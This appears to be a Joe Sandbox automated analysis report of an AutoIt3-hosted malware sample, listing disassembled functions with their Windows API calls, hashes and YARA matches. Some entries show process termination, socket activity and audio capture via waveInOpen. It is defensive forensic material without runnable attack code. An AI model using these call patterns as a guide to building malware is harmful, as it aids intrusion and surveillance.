Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 46acc27b7eccd85698eb55d13b21f31df25edc1cb88387d7ce78e1e547f425e1
Instruction ID: 3e661398d6c93c550e2885ffc875df9cd97936e7e9ba49e108df14ccf733a0b3
Opcode Fuzzy Hash: 46acc27b7eccd85698eb55d13b21f31df25edc1cb88387d7ce78e1e547f425e1
Instruction Fuzzy Hash: 2C81E771A0010AEFCF04DFD4C988AAEB7B9FF89315F244599E516EB250DB71AE05CB60

Function 0086492A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 008649C0
__flush.LIBCMT ref: 008649E0
__write.LIBCMT ref: 00864A13
__flsbuf.LIBCMT ref: 00864A41

Part of subcall function 00868D58: __getptd_noexit.LIBCMT ref: 00868D58

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction ID: d7a9ddd6adcd973ad99ed4f0ecac7639cd457d831a655680a78c00a18e2718ea
Opcode Fuzzy Hash: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction Fuzzy Hash: B341033164070AABDF28CEA8C8809AF7FA6FF40365B26923DE819C7650DB309D408B44

Function 0089A638 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 0089A68A
__itow.LIBCMT ref: 0089A6BB

Part of subcall function 0089A90B: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 0089A976

SendMessageW.USER32(?,0000110A,00000001,?), ref: 0089A724
__itow.LIBCMT ref: 0089A77B

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 578ec816be9ad29bf18daaf13a06844547837f12a05c67a9dab8e396daa463fe
Instruction ID: 6752efd7019b521814bed68b55e31f374e7d42268975e9aed6e798dbdcf2eb83
Opcode Fuzzy Hash: 578ec816be9ad29bf18daaf13a06844547837f12a05c67a9dab8e396daa463fe
Instruction Fuzzy Hash: 52416174A00209ABDF15EF58D84ABEE7FB9FF48751F440019F945E3291DB709A48CAA3

Function 008B6B05 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,008D0980), ref: 008B6B92
_strlen.LIBCMT ref: 008B6BC4

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: ede84005c4fbbd46d1bf533318f6356b3a1f2f1a8793a08d1a937eb06fc86f12
Instruction ID: 9b5a97d3565d9c51a53155fffbe9408bb7c5b7249649f442eaf5d62f5ea2672c
Opcode Fuzzy Hash: ede84005c4fbbd46d1bf533318f6356b3a1f2f1a8793a08d1a937eb06fc86f12
Instruction Fuzzy Hash: 5441BD31600109ABCB14EBA8DC95EEEB7A9FF54310F148155F81ADB392EB34AD15CB92

Function 03B710AC Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 03B7115B
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 03B71177
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 03B711EE
VariantClear.OLEAUT32(?), ref: 03B71217

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: 45d0f3985057229b3475333d862641383efb44316ef2fb9ceb622db2627beb4c
Instruction ID: f9c6bdcfef1d102e995cf64274b910c7086add1c4c577f7bc56cf7e5cd5e82c8
Opcode Fuzzy Hash: 45d0f3985057229b3475333d862641383efb44316ef2fb9ceb622db2627beb4c
Instruction Fuzzy Hash: 5641FA79A0131D9FCB61EB5CCC90AD9B3BCEF48218F0441E5E559EB611DA30AF808F64

Function 03B6BB8C Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 03B6BBA8
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03B6BBCC
GetModuleFileNameA.KERNEL32(00840000,?,00000105), ref: 03B6BBE7
LoadStringA.USER32(00000000,0000FFEA,?,00000100), ref: 03B6BC8B

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: f277ee781b3d6872614780be0bb037c5beb776da86c25366bedb3c71d8feb452
Instruction ID: 12b653cab472a8946503bc536b538fc4c3c107b474177e84fc5d3756979f07b4
Opcode Fuzzy Hash: f277ee781b3d6872614780be0bb037c5beb776da86c25366bedb3c71d8feb452
Instruction Fuzzy Hash: F641DA75A0065C9FDB21DB69CD84BDEB7F8AB08208F4440F9E508EB252D7789F848F55

Function 00F20541 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 00F2055D
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 00F20581
GetModuleFileNameA.KERNEL32(00840000,?,00000105), ref: 00F2059C
LoadStringA.USER32(00000000,0000FFE7,?,00000100), ref: 00F20640

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: f30411a4ce88f7b02135912a46932cd3a0fa367b7a2f11650d74959f9d2e0bc7
Instruction ID: 672ac35a7a794de2b8dd8e3d400671b55e4609d6bf5361030f3483ca2e8de806
Opcode Fuzzy Hash: f30411a4ce88f7b02135912a46932cd3a0fa367b7a2f11650d74959f9d2e0bc7
Instruction Fuzzy Hash: F9410D75E0026C9FDB21DBA8DC85BDEB7F8AB48310F0440E5A908E7252DB789F849F51

Function 03B6BB8A Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 03B6BBA8
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03B6BBCC
GetModuleFileNameA.KERNEL32(00840000,?,00000105), ref: 03B6BBE7
LoadStringA.USER32(00000000,0000FFEA,?,00000100), ref: 03B6BC8B

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: b782bb17c7cb373c85414e3edecaac0187ed13edc61cb8689a233430486113a6
Instruction ID: 687cbfda775face99a2ddaa0ae93faed1116e99dac852ef2c18bff68555794ac
Opcode Fuzzy Hash: b782bb17c7cb373c85414e3edecaac0187ed13edc61cb8689a233430486113a6
Instruction Fuzzy Hash: 0141EA75A0065C9FDB21EB69CD84BDEB7F8AB08208F4440F5E508EB252E7789F848F55

Function 00F2053F Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 00F2055D
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 00F20581
GetModuleFileNameA.KERNEL32(00840000,?,00000105), ref: 00F2059C
LoadStringA.USER32(00000000,0000FFE7,?,00000100), ref: 00F20640

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 69fe05d5f72f464e36de93d4b067f63a7aeff8d1a173aa9ef30315b136164330
Instruction ID: daf0c9a8aa1693fa9a6699cceacb4a9c0e181e4243a9e0766c448a299e401890
Opcode Fuzzy Hash: 69fe05d5f72f464e36de93d4b067f63a7aeff8d1a173aa9ef30315b136164330
Instruction Fuzzy Hash: E6411075A0026C9FDB11DBA8DC85BDEB7F9AB48310F0440E5B908E7252DB789F849F51

Function 03B6CD74 Relevance: 6.1, APIs: 4, Instructions: 97threadCOMMON

Download Yara Rule

APIs

GetStringTypeA.KERNEL32(00000C00,00000002,?,00000080,?), ref: 03B6CE6E
GetThreadLocale.KERNEL32 ref: 03B6CD9E

Part of subcall function 03B6CCFC: GetCPInfo.KERNEL32(00000000,?), ref: 03B6CD15

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: InfoLocaleStringThreadType
String ID:
API String ID: 1505017576-0
Opcode ID: 7b9504ba2f34dbc51e4d6d0d84a8024b3f9ec5775a57525d57656d85b13a1fd3
Instruction ID: d650069ffe6125ab73452a250fe130dbc0469bfd6748756c394967260c6b1b1e
Opcode Fuzzy Hash: 7b9504ba2f34dbc51e4d6d0d84a8024b3f9ec5775a57525d57656d85b13a1fd3
Instruction Fuzzy Hash: A631E9366103499BDF30F764AA413AA7FB8EB4930CF4844F6D5C48F697EA785C448B91

Function 00F21265 Relevance: 6.1, APIs: 4, Instructions: 97threadCOMMON

Download Yara Rule

APIs

GetStringTypeA.KERNEL32(00000C00,00000002,?,00000080,?), ref: 00F2135F
GetThreadLocale.KERNEL32 ref: 00F2128F

Part of subcall function 00F211ED: GetCPInfo.KERNEL32(00000000,?), ref: 00F21206

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: InfoLocaleStringThreadType
String ID:
API String ID: 1505017576-0
Opcode ID: 56acd0364d3a2f641776387b21ede216e521ef5d5f435a523f3e763549c7bbd5
Instruction ID: 33034b774767b4d3401fb2ced05db93462c175ec9d91bc7116df22748ef3edd7
Opcode Fuzzy Hash: 56acd0364d3a2f641776387b21ede216e521ef5d5f435a523f3e763549c7bbd5
Instruction Fuzzy Hash: 3C317B7198027A8AD330DF64BC01B96379AF721354F040051E8848BBD3E6FE5D46BB9D

Function 008763F5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0087642B
__isleadbyte_l.LIBCMT ref: 00876459
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00876487
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 008764BD

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: b54f95615d7d7d94b4f0e46f59545a0081e2fe8e37daf52f9e92b05f44c487f7
Instruction ID: ea5a1216d77b066dda4f45a7409872268c150933c07ae27e34d0c3171b0049c9
Opcode Fuzzy Hash: b54f95615d7d7d94b4f0e46f59545a0081e2fe8e37daf52f9e92b05f44c487f7
Instruction Fuzzy Hash: 0731D031600A56AFDB258F65CC44BAA7BA5FF40320F158169E828C71A5EB31E860DB54

Function 03B948B8 Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 03B6DFE4: CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000,?,?,03B947C0,00000000,03B9489E,?,?,?,?,?,03B7ACDD,00000000,03B7B1B3), ref: 03B6DFF5

Part of subcall function 03B6E004: Process32First.KERNEL32(?,00000128), ref: 03B6E015

GetCurrentProcessId.KERNEL32 ref: 03B94982
OpenProcess.KERNEL32(00000001,00000000,?,00000000), ref: 03B9499C
TerminateProcess.KERNEL32(00000000,00000001,00000000,?,00000000), ref: 03B949A2
CloseHandle.KERNEL32(00000000), ref: 03B949C5

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Process$CloseCreateCurrentFirstHandleOpenProcess32SnapshotTerminateToolhelp32
String ID:
API String ID: 4153222164-0
Opcode ID: 9aa891c9c8fab83ba091383e35b8c80c9001917088daf1c926976aff4c03bdc4
Instruction ID: 51d021b1b852d2e8a7417cbc8d10e5eea6b96aef2583564b92591df02253cf20
Opcode Fuzzy Hash: 9aa891c9c8fab83ba091383e35b8c80c9001917088daf1c926976aff4c03bdc4
Instruction Fuzzy Hash: 66316934A04318AFDF21EBA5C881BCDB3B9EB85308F5044F5E508AB251DB78AF45CB90

Function 03B9AEC8 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 03B97BEC: RtlEnterCriticalSection.NTDLL(03BC2F1C), ref: 03B97BF4
Part of subcall function 03B97BEC: RtlLeaveCriticalSection.NTDLL(03BC2F1C), ref: 03B97C01
Part of subcall function 03B97BEC: RtlEnterCriticalSection.NTDLL(?), ref: 03B97C0A

Part of subcall function 03B9C364: GetDC.USER32(00000000), ref: 03B9C3BA
Part of subcall function 03B9C364: GetDeviceCaps.GDI32(00000000,0000000C), ref: 03B9C3CF
Part of subcall function 03B9C364: GetDeviceCaps.GDI32(00000000,0000000E), ref: 03B9C3D9
Part of subcall function 03B9C364: CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,03B9AF1B,00000000,03B9AFA7), ref: 03B9C3FD
Part of subcall function 03B9C364: ReleaseDC.USER32(00000000,00000000), ref: 03B9C408

CreateCompatibleDC.GDI32(00000000), ref: 03B9AF1D
SelectObject.GDI32(00000000,?), ref: 03B9AF36
SelectPalette.GDI32(00000000,?,000000FF), ref: 03B9AF5F
RealizePalette.GDI32(00000000), ref: 03B9AF6B

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CriticalPaletteSection$CapsCreateDeviceEnterSelect$CompatibleHalftoneLeaveObjectRealizeRelease
String ID:
API String ID: 979337279-0
Opcode ID: a5ad76a9ed64e7693570d2654b7de768f4e5caa955326d79a5f02e8492be631f
Instruction ID: 7c9264ba0c2a2055d80ae069e2416e53f1415bcd01abc6dc4d4019545a9ba12d
Opcode Fuzzy Hash: a5ad76a9ed64e7693570d2654b7de768f4e5caa955326d79a5f02e8492be631f
Instruction Fuzzy Hash: E431E778A04618EFEB04EB58C981E5DB7F5EF48614B5641F2E404EB322D630EE40DB50

Function 008CCB40 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008429E2: GetWindowLongW.USER32(?,000000EB), ref: 008429F3

GetCursorPos.USER32(?), ref: 008CCB7A
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0087BCEC,?,?,?,?,?), ref: 008CCB8F
GetCursorPos.USER32(?), ref: 008CCBDC
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0087BCEC,?,?,?), ref: 008CCC16

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 9a054e9a94bd1f5695387754a6a03540fe74e1819e2f2eb1b65da3d48fd52bc0
Instruction ID: 8a2c2562af407169fb5fa6ec984105dd823ff0ccda8401d57b94c08916560020
Opcode Fuzzy Hash: 9a054e9a94bd1f5695387754a6a03540fe74e1819e2f2eb1b65da3d48fd52bc0
Instruction Fuzzy Hash: CC31C134600158AFCB158F98C889FBA7BB9FB09320F044099F949D7261C731AD51EFA0

Function 03BB1E94 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 03BB1ECD
GetWindowTextA.USER32(?,?,00000105), ref: 03BB1EDF
GetWindowTextA.USER32(?,?,00000105), ref: 03BB1F02
EnumChildWindows.USER32(?,03BB1E94,?), ref: 03BB1F78

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Window$Text$ChildEnumRectWindows
String ID:
API String ID: 3593914579-0
Opcode ID: 210551a9be2cf945ca2852751aa89f8e2b1bd7e7c446ab99ab5c88fa26ef23c5
Instruction ID: c4b59e42632f0ce1d1ff007d5c05880793ef620212636422a973d99e1dc9d576
Opcode Fuzzy Hash: 210551a9be2cf945ca2852751aa89f8e2b1bd7e7c446ab99ab5c88fa26ef23c5
Instruction Fuzzy Hash: 69212975A0061CAFDB10DE25CC90EEAB3B9EF49704F4145F5A808EB252DB74AE45CE90

Function 00860BC0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00860BE2

Part of subcall function 0085402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,008A7E51,?,?,00000000), ref: 00854041
Part of subcall function 0085402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,008A7E51,?,?,00000000,?,?), ref: 00854065

_fprintf.LIBCMT ref: 00860C19
OutputDebugStringW.KERNEL32(?), ref: 0089694C

Part of subcall function 00864CCA: _flsall.LIBCMT ref: 00864CE3

__setmode.LIBCMT ref: 00860C4E

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 39cc06b40eebc7e78fa3b3ae55c226b548cb4b9e6fac3759aac7e36d9ce401cb
Instruction ID: c4524c14499cb8a64ea5aa2aa4a32deb96fbb06fe1e35ea62bda34ac49ed75c0
Opcode Fuzzy Hash: 39cc06b40eebc7e78fa3b3ae55c226b548cb4b9e6fac3759aac7e36d9ce401cb
Instruction Fuzzy Hash: 2E1127319051087EDB09B7ACAC43ABEBB69FF41321F15015AF104D72C2EF215D969BA6

Function 03BBC618 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 69sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,00000000,03BBC710,?,?,?,00000000,00000000,00000000,00000000), ref: 03BBC64A
Sleep.KERNEL32(001B7740,000003E8,00000000,03BBC710,?,?,?,00000000,00000000,00000000,00000000), ref: 03BBC654

Part of subcall function 03B8794C: Sleep.KERNEL32(00000064,00000000,03B87A31,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 03B879FE

Part of subcall function 03B7C608: closesocket.WS2_32(?), ref: 03B7C60F

Strings

NOTIFICATIONS, xrefs: 03BBC6D0
DOMAINS, xrefs: 03BBC692, 03BBC6B2

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Sleep$closesocket
String ID: DOMAINS$NOTIFICATIONS
API String ID: 1480910923-4053764644
Opcode ID: ac081d872713e70ed4ad9609c441ea4902a5e43a0d3b628e639094b8b51440b2
Instruction ID: 3f9518875e8ca230e50dc83d22dd85debe684087acad3150a5e75c9a182f3897
Opcode Fuzzy Hash: ac081d872713e70ed4ad9609c441ea4902a5e43a0d3b628e639094b8b51440b2
Instruction Fuzzy Hash: 1A2113787102089FC704EF68CD868AEB7B9EB4924875054F8E801DB765DFB0ED05CB62

Function 008C634E Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 008C63BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 008C63D7
SetWindowLongW.USER32(?,000000EC,00000000), ref: 008C63E5
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 008C63F3

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 84a088013b6fed3411141499246a2b4fb77ad914e0802eb63e6b1b4aa5430049
Instruction ID: d48c7652836e129a667ffa31974bbecb7138621a88294934f4cbd807d7b43af7
Opcode Fuzzy Hash: 84a088013b6fed3411141499246a2b4fb77ad914e0802eb63e6b1b4aa5430049
Instruction Fuzzy Hash: F5119D31205518AFD704AB28DC45FAA77A9FB85320F14422DF916D72D2DB71ED108B96

Function 0089E45A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0089F858: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,0089E46F,?,?,?,0089F262,00000000,000000EF,00000119,?,?), ref: 0089F867
Part of subcall function 0089F858: lstrcpyW.KERNEL32(00000000,?,?,0089E46F,?,?,?,0089F262,00000000,000000EF,00000119,?,?,00000000), ref: 0089F88D
Part of subcall function 0089F858: lstrcmpiW.KERNEL32(00000000,?,0089E46F,?,?,?,0089F262,00000000,000000EF,00000119,?,?), ref: 0089F8BE

lstrlenW.KERNEL32(?,00000002,?,?,?,?,0089F262,00000000,000000EF,00000119,?,?,00000000), ref: 0089E488
lstrcpyW.KERNEL32(00000000,?,?,0089F262,00000000,000000EF,00000119,?,?,00000000), ref: 0089E4AE
lstrcmpiW.KERNEL32(00000002,cdecl,?,0089F262,00000000,000000EF,00000119,?,?,00000000), ref: 0089E4E2

Strings

cdecl, xrefs: 0089E4D9

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 547b5cffc316be9f93fb5b54f0221b156b335aa3eb8d8592907205e52f7d4a88
Instruction ID: d46dd083737ee748c156a9aec8a12a59572b3d735280b54637d0d462ee44911e
Opcode Fuzzy Hash: 547b5cffc316be9f93fb5b54f0221b156b335aa3eb8d8592907205e52f7d4a88
Instruction Fuzzy Hash: A911BE3A200345AFCF25AF28DC45E7A7BA8FF45350B44402AF90ACB2A0EB319951CB95

Function 03BB9AFC Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

waveInOpen.WINMM(03BC3274,00000000,03BC0D00,Function_00058AE0,00000000,00030000), ref: 03BB9B60
